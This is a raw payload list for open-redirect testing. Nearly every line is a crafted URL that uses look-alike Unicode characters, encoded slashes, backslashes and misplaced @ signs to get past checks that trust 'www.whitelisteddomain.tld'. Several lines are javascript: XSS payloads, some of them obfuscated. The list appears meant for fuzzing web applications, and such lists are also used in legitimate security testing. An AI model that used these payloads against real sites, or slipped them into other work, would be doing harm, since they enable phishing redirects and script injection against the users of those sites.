/ο½°β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
<>//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\@www.whitelisteddomain.tld
https://:@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\@www.whitelisteddomain.tld
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80#@www.whitelisteddomain.tld/
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80?@www.whitelisteddomain.tld/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld+@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://www.whitelisteddomain.tld+&@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#+@www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld⁺&@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#⁺@www.whitelisteddomain.tld/
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\twww.whitelisteddomain.tld/
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80#@www.whitelisteddomain.tld/
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80?@www.whitelisteddomain.tld/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld+@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//www.whitelisteddomain.tld+&@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#+@www.whitelisteddomain.tld/
//www.whitelisteddomain.tld⁺&@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#⁺@www.whitelisteddomain.tld/
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\twww.whitelisteddomain.tld/
//;@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//οΉ”@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://;@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://οΉ”@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%2f%2f.www.whitelisteddomain.tld/
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%5c%5c.www.whitelisteddomain.tld/
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%3F.www.whitelisteddomain.tld/
http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%23.www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld:80%40β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://www.whitelisteddomain.tld%2eβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/https:/%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https:/%5cβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/http://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%2f%2fβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%2f%2fβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/http:/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/.β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://.β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
.β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///\;@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///\οΉ”@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://www.β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\.www.whitelisteddomain.tld
%01https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
www.whitelisteddomain.tld;@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
www.whitelisteddomain.tldοΉ”@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://www.whitelisteddomain.tld;@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://www.whitelisteddomain.tldοΉ”@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:%0a%0dβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%0a%0dβ“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/www.whitelisteddomain.tld
https://β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/www.whitelisteddomain.tld
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/www.whitelisteddomain.tld
javascript:alert(document.domain)//://
/#//localdomain.pw
#//localdomain.pw
/#//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
#//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https%3A/localdomain.pw
https%3A/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%2f%2f.www.whitelisteddomain.tld/
https%3A/:@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\@www.whitelisteddomain.tld
https%3A/;@localdomain.pw
https%3A/οΉ”@localdomain.pw
https%3A/www.β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\.www.whitelisteddomain.tld
javascript:%250Aalert(1)
javascript:alert(1)//https://www.whitelisteddomain.tld
Β°/localdomain.pw
Β°/β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////localdomain。pw
////β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒγ€‚οΌ°β“¦
//localdomain.pw?
//β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦?
//.@.@localdomain.pw
//.@.@β“π¨π—°π€π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
javascript:new%20Function`al\ert\`1\``;
%09Jav%09ascript:alert(1)
https://localdomainqpw\α΅—www.whitelisteddomain.tld
//localdomainqpw\α΅—www.whitelisteddomain.tld
https://www.whitelisteddomain.tldq₨/
//www.whitelisteddomain.tldq₨/
https://localdomain.pw\udfff@www.whitelisteddomain.tld/
//localdomain.pw\udfff@www.whitelisteddomain.tld/
https://localdomain.pwοΏ½@www.whitelisteddomain.tld/
//localdomain.pwοΏ½@www.whitelisteddomain.tld/

Last updated